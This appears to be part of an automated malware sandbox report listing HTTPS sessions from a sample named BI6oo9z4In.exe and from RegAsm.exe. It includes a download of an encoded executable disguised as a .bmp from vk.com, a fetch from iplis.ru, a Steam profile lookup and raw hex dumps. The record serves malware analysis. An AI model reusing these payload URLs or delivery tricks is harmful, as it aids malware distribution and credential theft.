2024-05-24 07:42:16 UTC	16384	IN	Data Raw: 56 73 56 20 47 72 5d 22 5b 6d 54 4c 7a 7d 79 62 24 45 46 51 4f 67 76 62 46 45 65 3a 42 7c 46 26 5b 7c 59 61 40 61 27 4f 70 20 7d 72 72 52 2d 41 76 7f 23 59 65 45 56 2d 5d 2c 7e 23 21 46 67 41 46 23 52 57 46 59 2c 5f 58 3a 4d 5a 5d 71 6c 52 7e 66 70 46 22 70 26 5b 22 73 67 23 4d 50 73 7c 44 26 5c 73 52 56 7e 7f 65 62 78 3a 6c 66 60 22 5a 72 67 7d 67 5d 6d 54 50 51 50 52 6d 77 7d 76 6f 27 57 6f 5a 5a 52 6f 67 60 42 54 23 6d 50 71 74 25 21 74 23 7c 2c 7a 78 74 58 41 58 45 42 44 79 72 23 77 60 60 70 43 70 72 21 4d 4c 7f 5e 72 58 7d 73 51 5e 78 63 56 73 7f 77 76 40 50 24 5e 7f 5a 46 71 47 3a 51 61 5b 54 51 78 7e 27 76 5b 60 70 74 52 73 53 72 70 46 56 5e 4c 70 2d 2c 25 73 63 4f 20 44 23 73 3e 6d 58 7c 44 78 2d 70 59 53 7b 54 57 6c 5f 24 52 7d 78 25 4d 6d 5c 5d Data Ascii: VsV Gr]"[mTLz}yb$EFQOgvbFEe:B\|F&[\|Ya@a'Op }rrR-Av#YeEV-],~#!FgAF#RWFY,_X:MZ]qlR~fpF"p&["sg#MPs\|D&\sRV~ebx:lf`"Zrg}g]mTPQPRmw}vo'WoZZRog`BT#mPqt%!t#\|,zxtXAXEBDyr#w``pCpr!ML^rX}sQ^xcVswv@P$^ZFqG:Qa[TQx~'v[`ptRsSrpFV^Lp-,%scO D#s>mX\|Dx-pYS{TWl_$R}x%Mm\]
2024-05-24 07:42:16 UTC	16384	IN	Data Raw: 52 6f 60 23 7c 64 4d 54 74 62 60 62 59 42 78 66 79 7d 7c 78 2c 21 70 77 62 60 5d 7f 3a 2c 47 62 60 43 47 76 51 7c 4f 63 64 2d 78 5c 27 4d 3a 6f 74 45 40 5e 7a 63 5b 4f 5a 25 4c 62 5c 2c 61 51 40 40 52 20 42 77 57 62 6c 5e 3e 5c 51 22 5a 57 6d 64 4d 6f 24 2d 4d 7f 5a 41 70 7e 5d 52 46 70 54 6d 5d 77 6c 5f 66 40 3a 60 7e 44 52 4f 50 21 4d 43 4f 40 59 67 42 56 22 22 7e 25 77 52 7f 77 5a 24 40 7c 5f 7e 53 7b 44 74 63 7f 56 71 27 42 6f 63 59 78 20 21 74 58 71 5d 2d 51 20 42 20 43 6c 4f 7e 5c 5a 7a 50 21 43 6d 3e 56 47 5b 4c 23 22 21 25 52 4c 57 73 5d 24 46 40 7a 21 5a 7c 46 67 4f 45 7f 5f 5a 41 21 59 61 62 43 51 20 4c 72 5c 7a 7f 27 51 7c 71 65 26 7d 65 78 25 7f 40 23 4d 66 63 47 71 7c 58 22 4d 7e 76 3e 4c 77 63 62 43 5d 3e 41 3a 5f 6f 73 62 5a 6d 42 2d 27 7a Data Ascii: Ro`#\|dMTtb`bYBxfy}\|x,!pwb`]:,Gb`CGvQ\|Ocd-x\'M:otE@^zc[OZ%Lb\,aQ@@R BwWbl^>\Q"ZWmdMo$-MZAp~]RFpTm]wl_f@:`~DROP!MCO@YgBV""~%wRwZ$@\|_~S{DtcVq'BocYx !tXq]-Q B ClO~\ZzP!Cm>VG[L#"!%RLWs]$F@z!Z\|FgOE_ZA!YabCQ Lr\z'Q\|qe&}ex%@#MfcGq\|X"M~v>LwcbC]>A:_osbZmB-'z
2024-05-24 07:42:16 UTC	16384	IN	Data Raw: 54 56 53 62 5d 47 74 58 2d 78 59 25 50 52 21 54 51 54 54 54 50 46 5b 46 44 41 3a 43 25 7d 5c 7c 4c 71 72 51 44 54 54 46 5c 4d 54 71 57 71 50 7c 21 4d 54 54 72 54 54 46 4c 63 4d 46 5c 63 5c 23 50 5c 67 54 54 57 57 7c 3a 41 67 54 7a 63 6f 47 5c 60 53 62 54 5c 54 54 51 45 46 46 4c 63 45 23 50 7a 67 54 54 57 57 3a 24 40 54 41 4c 63 5d 44 4c 63 40 46 5c 63 5c 3a 20 73 72 54 54 54 54 41 5c 61 66 5f 50 7d 5f 7c 2d 22 3a 79 26 54 57 54 54 57 5f 7c 2d 26 3a 79 26 54 57 54 54 57 53 58 3a 4f 5c 7c 25 62 7e 42 45 3e 4d 76 54 50 54 54 5c 4d 27 71 50 7c 51 63 6f 44 56 54 54 54 51 71 41 2c 5c 7c 20 2c 72 51 44 54 54 46 5c 27 4d 46 54 25 54 54 50 46 59 7f 24 72 5b 54 54 57 5c 7f 4c 2d 21 51 44 54 54 41 5c 63 51 23 5a 50 78 54 54 57 5c 7c 24 76 7a 46 5c 27 45 59 54 62 54 Data Ascii: TVSb]GtX-xY%PR!TQTTTPF[FDA:C%}\\|LqrQDTTF\MTqWqP\|!MTTrTTFLcMF\c\#P\gTTWW\|:AgTzcoG\`SbT\TTQEFFLcE#PzgTTWW:$@TALc]DLc@F\c\: srTTTTA\af_P}_\|-":y&TWTTW_\|-&:y&TWTTWSX:O\\|%b~BE>MvTPTT\M'qP\|QcoDVTTTQqA,\\| ,rQDTTF\'MFT%TTPFY$r[TTW\L-!QDTTA\cQ#ZPxTTW\\|$vzF\'EYTbT
2024-05-24 07:42:16 UTC	15948	IN	Data Raw: 3a 21 50 71 70 23 5f 50 73 51 3a 44 72 41 67 5d 41 45 27 7c 21 46 26 2d 54 72 54 54 51 66 50 66 26 40 41 47 7a 45 3e 57 5d 4d 60 7f 40 5c 5c 7c 44 5d 62 3a 25 5c 58 58 2d 51 67 56 5c 58 7d 54 59 72 56 44 54 56 54 4d 24 20 77 62 72 62 54 7c 25 44 7e 52 5c 58 72 54 51 45 54 62 7d 72 54 7c 25 44 7e 57 54 3e 63 47 56 44 5c 62 21 61 50 5f 57 46 51 5c 54 54 6f 62 58 5c 40 54 5c 61 50 5f 54 44 51 47 56 44 5c 62 24 53 41 43 7a 61 25 5f 57 56 5b 7d 79 44 51 54 54 57 44 43 60 72 5e 5c 72 54 54 7c 2c 7d 4f 42 4c 4d 77 71 44 4f 54 23 71 40 54 54 54 57 43 43 27 7a 54 7f 4c 77 5c 57 44 54 54 40 53 5b 42 23 5c 72 7c 54 54 56 59 23 5c 45 50 50 5c 4d 61 51 21 46 6c 54 54 54 54 63 25 72 40 44 54 56 57 22 6f 62 40 44 54 54 45 7c 5e 50 54 54 54 56 5b 47 56 44 4c 40 52 65 54 Data Ascii: :!Pqp#_PsQ:DrAg]AE'\|!F&-TrTTQfPf&@AGzE>W]M`@\\\|D]b:%\XX-QgV\X}TYrVDTVTM$ wbrbT\|%D~R\XrTQETb}rT\|%D~WT>cGVD\b!aP_WFQ\TTobX\@T\aP_TDQGVD\b$SACza%_WV[}yDQTTWDC`r^\rTT\|,}OBLMwqDOT#q@TTTWCC'zTLw\WDTT@S[B#\r\|TTVY#\EPP\MaQ!FlTTTTc%r@DTVW"ob@DTTE\|^PTTTV[GVDL@ReT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49800	93.186.225.194	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:16 UTC	434	OUT	GET /doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzKL04m9JP6DOfrtJ6pTpZKziindC961cGIVg&api=1&no_preview=1#file2005 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache Cookie: remixlang=3; remixstlid=9065638397738796067_mfs69AtQEeKIXQUS79tZSbghU1oh3qYdyhMXjJRmnLX; remixir=1
2024-05-24 07:42:17 UTC	932	IN	HTTP/1.1 302 Found Server: kittenx Date: Fri, 24 May 2024 07:42:17 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116865 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixir=1; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Location: https://sun6-22.userapi.com/c909628/u5294803/docs/d20/35db56cda88e/file2005.bmp?extra=v7fu1_CWNuIGPII2txDdJ37vFz3Mi-a9WUqq4TWurCDouZQ7DrI89_f6cEaXMJaDSsyl68_1I5lz_6C1I-oFvaAL_sU10wuOXFtD_NRreudx3azSG-PMeLmWuk67Q85UjbCer331Fgc X-Frontend: front661400 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: id6fgnjVEzmABtuBieildpxWm57GVg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49802	95.142.206.2	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:17 UTC	416	OUT	GET /c909628/u5294803/docs/d20/35db56cda88e/file2005.bmp?extra=v7fu1_CWNuIGPII2txDdJ37vFz3Mi-a9WUqq4TWurCDouZQ7DrI89_f6cEaXMJaDSsyl68_1I5lz_6C1I-oFvaAL_sU10wuOXFtD_NRreudx3azSG-PMeLmWuk67Q85UjbCer331Fgc HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: sun6-22.userapi.com Connection: Keep-Alive
2024-05-24 07:42:18 UTC	585	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 07:42:18 GMT Content-Type: image/x-ms-bmp Content-Length: 744964 Connection: close Last-Modified: Mon, 20 May 2024 12:59:30 GMT ETag: "664b4932-b5e04" Expires: Sun, 23 Jun 2024 07:42:18 GMT Cache-Control: max-age=2592000 X-Frontend: front6-22 Access-Control-Expose-Headers: X-Frontend Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, OPTIONS Strict-Transport-Security: max-age=15768000 Access-Control-Allow-Headers: X-Quic X-Trace-Id: lJWyhlKDtzvJNK4x5bay7Zu0iCjY1A Accept-Ranges: bytes
2024-05-24 07:42:18 UTC	15799	IN	Data Raw: dd cc 66 55 58 4f 85 15 16 15 15 15 11 15 15 15 ea ea 15 15 ad 15 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 e5 15 15 15 1b 80 af 1b 15 a1 1c d8 34 ad 14 59 d8 34 41 7d 7c 66 35 65 67 7a 72 67 74 78 35 76 74 7b 7b 7a 61 35 77 70 35 67 60 7b 35 7c 7b 35 51 5a 46 35 78 7a 71 70 3b 18 18 1f 31 15 15 15 15 15 15 15 f2 5d aa 88 b6 3c c4 db b6 3c c4 db b6 3c c4 db bb 6e 1b db aa 3c c4 db bb 6e 24 db 3b 3c c4 db bb 6e 25 db 98 3c c4 db bf 44 57 db b3 3c c4 db b6 3c c5 db d6 3c c4 db 03 a2 21 db b7 3c c4 db bb 6e 1f db b7 3c c4 db 03 a2 1a db b7 3c c4 db 47 7c 76 7d b6 3c c4 db 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 45 50 15 15 59 14 11 15 75 6e 48 Data Ascii: fUXO4Y4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;1]<<<n<n$;<n%<DW<<<!<n<<G\|v}<EPYunH
2024-05-24 07:42:18 UTC	16384	IN	Data Raw: 1a 9a 89 14 15 15 1a 91 96 14 15 15 96 ed 0c 1a 9a 16 14 15 15 1a 91 e1 15 15 15 7f 17 4f 3e d7 1a 91 cf 15 15 15 5d 1a 91 d2 15 15 15 96 de 10 1a 91 ba 15 15 15 5d 1a 91 89 15 15 15 96 de 10 1a 91 96 15 15 15 5d 61 5b 96 de 1c 1a 90 36 17 15 15 d2 50 cd 16 15 15 15 d2 50 c9 85 24 54 15 9e 50 1d 9e 60 01 c8 15 9e 50 19 c8 48 f5 c8 15 98 50 cd c8 48 de c8 13 45 c8 48 e5 ea c4 4c 90 d5 1a 90 fc 14 15 15 de fd eb ea ea d2 15 37 15 15 15 fc cc 14 15 15 d2 50 c9 99 24 54 15 9e 50 1d 9e 60 01 d2 50 cd 11 15 15 15 c8 15 9e 50 19 c8 48 f5 c8 15 98 50 cd c8 48 de c8 13 45 c8 48 e5 ea c4 4c fc b2 14 15 15 d2 50 cd 16 15 15 15 d2 50 c9 99 24 54 15 fe 92 d2 50 c9 91 24 54 15 fc 43 14 15 15 9c 40 cd d2 50 c9 91 24 54 15 fc 79 ea ea ea d2 50 c9 95 24 54 15 fc 2e 14 15 Data Ascii: O>]]]a[6PP$TP`PHPHEHL7P$TP`PPHPHEHLPP$TP$TC@P$TyP$T.
2024-05-24 07:42:18 UTC	16384	IN	Data Raw: 14 b6 19 c3 5f 15 de 74 0f 15 15 ea 60 1d de c4 f2 ea ea 96 28 19 c3 5f 15 15 4c 4c 60 1d 7f 14 de 52 0f 15 15 4c 7d 1c 11 15 d5 de 8a f2 ea ea 4c 48 d6 40 9e f9 94 f9 31 16 15 15 7f 02 de af 85 15 15 90 d5 61 10 7f 17 4c d8 3c b6 e5 c6 5f 15 9c 18 f9 c6 5f 15 9c 55 de c6 5f 15 9c 08 f1 c6 5f 15 9c 20 f5 c6 5f 15 9c 28 c9 c6 5f 15 73 99 55 1d c1 5f 15 73 99 18 e9 c6 5f 15 73 99 08 cd c6 5f 15 73 99 10 c1 c6 5f 15 73 99 30 c5 c6 5f 15 73 99 38 d9 c6 5f 15 89 9a 10 15 c1 5f 15 9e 50 15 b6 e1 c6 5f 15 9e 50 11 b6 ed c6 5f 15 98 50 1d b6 11 c1 5f 15 9e 90 c9 e9 ea ea d2 10 ff c6 5f 15 14 15 14 15 b4 ed c6 5f 15 b6 e9 c7 5f 15 d2 10 e5 c7 5f 15 1c 11 15 d5 d2 10 e1 c7 5f 15 14 15 15 15 d2 10 15 c6 5f 15 14 15 15 15 7f 11 4d 7e d5 15 d2 95 11 c6 5f 15 17 15 15 Data Ascii: _t`(_LL`RL}LH@1aL<__U__ _(_sU_s_s_s_s0_s8__P_P_P_______M~_
2024-05-24 07:42:18 UTC	16384	IN	Data Raw: f0 ea ea 9e 11 90 f5 da 5f 15 9c 90 29 f0 ea ea 2c 69 14 2d 61 09 9f 51 14 21 9d 50 e1 9e 90 29 f0 ea ea 9d 40 e0 7f 17 34 69 14 2d 98 50 e1 45 fe 4f 1a ab d7 45 de 48 f0 ea ea 4c 90 d5 61 51 9e 90 25 f0 ea ea 9e 00 39 f0 ea ea 3e d7 16 50 01 96 ed 14 1a 93 ce 14 15 15 7f 17 47 98 90 21 f0 ea ea 45 de 6b 32 15 15 96 d1 19 96 ed ea 1a 91 10 16 15 15 9e 90 39 f0 ea ea ff ea 90 ff f0 ea ea fe 33 7f 14 ea a0 39 f0 ea ea 98 90 21 f0 ea ea 45 de 5a 32 15 15 96 d1 19 96 ed ea 1a 91 c3 17 15 15 9e 90 39 f0 ea ea 26 dc ff ea 90 ff f0 ea ea 44 44 7f 10 9c 90 39 f0 ea ea 98 50 e1 45 7f 14 98 90 21 f0 ea ea 45 44 ea a0 01 f0 ea ea ea 55 69 35 54 15 9c 90 29 f0 ea ea 90 d5 1a 91 00 17 15 15 7f 15 98 98 2d f0 ea ea 44 9e 98 31 f0 ea ea 45 98 50 e1 45 9e 90 3d f0 ea ea Data Ascii: _),i-aQ!P)@4i-PEOEHLaQ%9>PG!Ek2939!EZ29&DD9PE!EDUi5T)-D1EPE=
2024-05-24 07:42:18 UTC	16384	IN	Data Raw: 96 ed ea 60 21 9e 50 e3 9c 48 e7 96 ed ea 60 35 73 9e 50 ef af ea ea 15 15 9c 48 e3 73 2e d7 60 12 73 9c 58 ef 52 fe 19 73 ff 73 9c 50 ef fe 11 ff 9c 50 e3 9e 58 ed fe 12 ff 9c 50 e7 9e 58 d5 ad ea 6a 15 15 73 2e ed 66 35 73 9e 50 e7 1e 68 b1 73 9c 50 f5 9e 50 e1 9c 50 f7 9e 60 f5 9c 58 f3 9e 40 f1 73 9c 68 fd fe 34 26 d5 73 2c 50 b1 1a 81 d5 5d 30 15 15 15 95 10 15 95 ea 6a 9c 50 de 9e e6 9e c6 9c 60 f5 9c 40 f1 9c 60 d5 9e 68 81 9e 50 a9 90 d5 1a 90 e3 e9 ea ea 9e 58 ad fe 13 9e 40 f1 9e 60 f5 9e 50 de aa ea 2a 15 15 d4 de 01 73 2e d2 1a 97 8a 17 15 15 54 9c 48 9d 9c 58 ad 9e dd 9e 50 cf 9e ed 26 ec 9c 48 e5 94 f2 15 95 15 15 9c 48 e1 9c 68 a9 aa ea 6a 15 15 36 d2 9c 48 ed 36 da 9c 50 91 16 d4 1a a2 ed ad ea 6a 15 15 9c 68 a1 73 2e dd 1a 96 ff 17 15 15 Data Ascii: `!PH`5sPHs.`sXRssPPXPXjs.f5sPhsPPP`X@sh4&s,P]0jP`@`hPX@`P*s.THXP&HHhj6H6Pjhs.
2024-05-24 07:42:18 UTC	16384	IN	Data Raw: 15 b9 15 15 15 25 4a 54 15 dc 15 15 15 29 4a 54 15 87 15 15 15 5d 4a 54 15 af 15 15 15 41 4a 54 15 d0 15 15 15 75 4a 54 15 a1 15 15 15 79 4a 54 15 c3 15 15 15 6d 4a 54 15 c5 15 15 15 91 4a 54 15 5e 15 15 15 85 4a 54 15 d5 15 15 15 89 4a 54 15 c6 15 15 15 8d 46 54 15 1c 15 15 15 bd 4a 54 15 c4 15 15 15 a1 4a 54 15 c8 15 15 15 d5 4a 54 15 c2 15 15 15 d9 4a 54 15 df 15 15 15 cd 4a 54 15 a0 15 15 15 f1 4a 54 15 d4 15 15 15 e5 4a 54 15 c1 15 15 15 e9 4a 54 15 b1 15 15 15 1d 75 54 15 b8 15 15 15 0a 75 54 15 ca 15 15 15 35 75 54 15 86 15 15 15 39 75 54 15 f5 15 15 15 2d 75 54 15 ae 15 15 15 51 75 54 15 db 15 15 15 45 75 54 15 f4 15 15 15 49 75 54 15 ce 15 15 15 7d 75 54 15 cb 15 15 15 61 75 54 15 cc 15 15 15 95 75 54 15 d3 15 15 15 7d 41 54 15 36 15 15 15 99 75 Data Ascii: %JT)JT]JTAJTuJTyJTmJTJT^JTJTFTJTJTJTJTJTJTJTJTuTuT5uT9uT-uTQuTEuTIuT}uTauTuT}AT6u
2024-05-24 07:42:18 UTC	16384	IN	Data Raw: 15 15 15 15 15 15 01 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 17 15 15 15 14 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 17 15 15 15 17 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 Data Ascii:
2024-05-24 07:42:18 UTC	16384	IN	Data Raw: fe 82 ca 11 77 6f b8 77 c9 dc da 97 de 1e d4 cc 89 80 10 ab f2 34 d9 7a 08 d6 57 ff db 48 4c c3 03 95 71 49 90 0e d8 18 ac fa 8c 8a e3 f5 ba e1 24 fc e9 90 f7 34 0b 2f 8b 62 fa 38 93 ad b7 1e f2 c6 ab 8a 38 de 4c b5 b9 7c 7a 4a 79 39 e3 59 33 66 32 34 2f 55 3c ec 2f 5f 0b 97 62 32 eb 85 53 10 1f 20 53 28 24 f2 16 6e 1e 90 c4 62 13 f0 df 59 f9 68 ff 7d 39 ca dd 21 a4 1f 93 37 ca ec 46 fc 1d e5 1e 15 6e fc ef d1 79 19 3e 0b c6 c9 56 8f 6b ac 26 a2 0d 84 1c 3f da 4e 50 f6 ca 59 7c 4a eb ed 23 0f 9e 35 51 68 fd ec a4 a2 b2 f8 1d c6 00 06 9e 34 b6 1a fe f3 b5 3a 69 eb 08 9f 81 90 a5 b9 80 41 c0 13 4a 88 36 b4 f0 80 40 98 9f 93 d4 72 06 a6 f4 87 a9 0a d7 77 45 74 51 cd cf ab 6b f9 f6 42 14 4f fd 49 9a 05 a8 91 a5 bc 6a 47 c2 f6 f6 12 87 ba 71 da b8 bd 31 04 f5 Data Ascii: wow4zWHLqI$4/b88L\|zJy9Y3f24/U</_b2S S($nbYh}9!7Fny>Vk&?NPY\|J#5Qh4:iAJ6@rwEtQkBOIjGq1
2024-05-24 07:42:18 UTC	16384	IN	Data Raw: 87 b3 9c 83 7d d9 fa de b6 d4 94 d4 bc fe 16 56 8b 8a 39 fb c0 6d 56 6e eb 6c ef 5d 6a b0 74 e6 f1 8a 9f 12 cf 25 90 26 2d 92 97 ab 98 2e 4b 6d 41 81 ac 41 9e ba d7 14 76 63 7b 5e de f3 30 28 c3 c3 b8 9c 5c 68 31 b8 c7 b5 ed 01 14 00 72 e4 4a 30 fe 93 c8 26 a3 e0 2e 1b e8 43 96 9b 55 eb 6d 99 a8 95 f2 39 c2 37 e5 6c 22 62 65 14 a5 bb 5a 93 e3 e9 2c c0 57 09 d5 a5 92 ff 2b 28 c4 53 bc 20 80 ea df c0 b4 db ce ae 4d 10 bd 2b a7 f0 78 6d df e5 d7 11 42 a2 7e e1 d2 18 67 f5 ba 56 05 59 9a f4 11 da 68 3e d0 66 a9 73 19 23 f3 86 8f 7a 00 17 45 b2 cb 0a 59 a0 48 9b f1 a9 9e ce a9 3b 06 94 89 a3 e7 d1 b5 df eb b4 aa f2 29 b6 82 86 32 43 bc 66 e0 6a d7 56 64 cf 04 ea 94 62 06 9a 5d 0f 1c c1 fd 96 88 13 25 b3 92 0f df d5 57 98 11 5a d4 9a be 9b f9 41 18 e1 48 54 68 Data Ascii: }V9mVnl]jt%&-.KmAAvc{^0(\h1rJ0&.CUm97l"beZ,W+(S M+xmB~gVYh>fs#zEYH;)2CfjVdb]%WZAHTh
2024-05-24 07:42:18 UTC	16384	IN	Data Raw: cf e2 c8 bd 6a 31 89 7f ed 69 8b 89 7f 3f bc 27 84 96 9d b2 5e 16 a3 bd cb 7a 2f 30 6e fb 35 ec f8 8b 6e c8 49 7f ce 01 c0 33 ec e4 84 86 83 29 b8 eb 2b d7 de 2c c5 8c fc 65 17 30 da b1 f5 55 90 ed cf ac d3 0b 8f a9 2a 08 17 02 98 97 f3 80 ba 62 fe 73 73 43 46 c8 93 af 5f cc ed 50 15 09 6b cf a3 f9 da 45 1a 75 7e 74 12 37 8b b1 85 13 87 2b 8c 86 d4 33 65 0a 3f 9d 68 37 b3 9c 9b 99 37 b3 8a bf f0 4e b0 27 d9 b4 2f cf fd ab 83 9b fc d9 93 30 cb 6f 5d 08 e5 42 5a 46 7d ed c0 4d 53 97 44 1e 9d bf d7 ad 7a 6f cd b7 c6 f0 96 c1 76 a2 c4 7d c2 49 0f 2f 24 f2 9f 54 ac a8 e1 a9 f3 19 62 e3 ed 69 e8 97 51 a7 1a cc 8b f6 ee 10 8f 83 6f 1e e5 fc 7e ce fa c4 5c 8c b7 60 ca a6 93 07 8d ec d4 36 fa 2d c1 60 5c 18 a9 db 9a fb db b7 49 3c 29 29 2f c2 c4 90 1a 23 06 8a ce Data Ascii: j1i?'^z/0n5nI3)+,e0U*bssCF_PkEu~t7+3e?h77N'/0o]BZF}MSDzov}I/$TbiQo~\`6-`\I<))/#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49808	172.67.147.32	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:23 UTC	193	OUT	GET /1aFYp7.mp3 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: iplis.ru
2024-05-24 07:42:23 UTC	1139	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:23 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close memory: 0.42253875732421875 expires: Fri, 24 May 2024 07:42:23 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: BYPASS Set-Cookie: 29392510137264047=2; expires=Sat, 24 May 2025 07:42:23 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=8.46.123.175; expires=Sat, 24 May 2025 07:42:23 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vmiSXGyByqUyPRufmu0bStLfov7CV1vGEWsGJigWv%2BT3wmtQ4ALgTepOkNxDWaKak1B3CT9KJbL9HY4WGvGv9%2BheGDhNONMm9JgvZFlN%2F%2BcKfomt7xcpEbdzRw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6137c3e43b1-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:23 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-05-24 07:42:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49806	104.102.42.29	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:23 UTC	119	OUT	GET /profiles/76561199689717899 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:42:23 UTC	1882	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 24 May 2024 07:42:23 GMT Content-Length: 35682 Connection: close Set-Cookie: sessionid=48d890dd2bbe6b590a6e3b9e; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C493458b59285f9aa948bf050e0c9a39b; Path=/; Secure; HttpOnly; SameSite=None
2024-05-24 07:42:23 UTC	14502	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 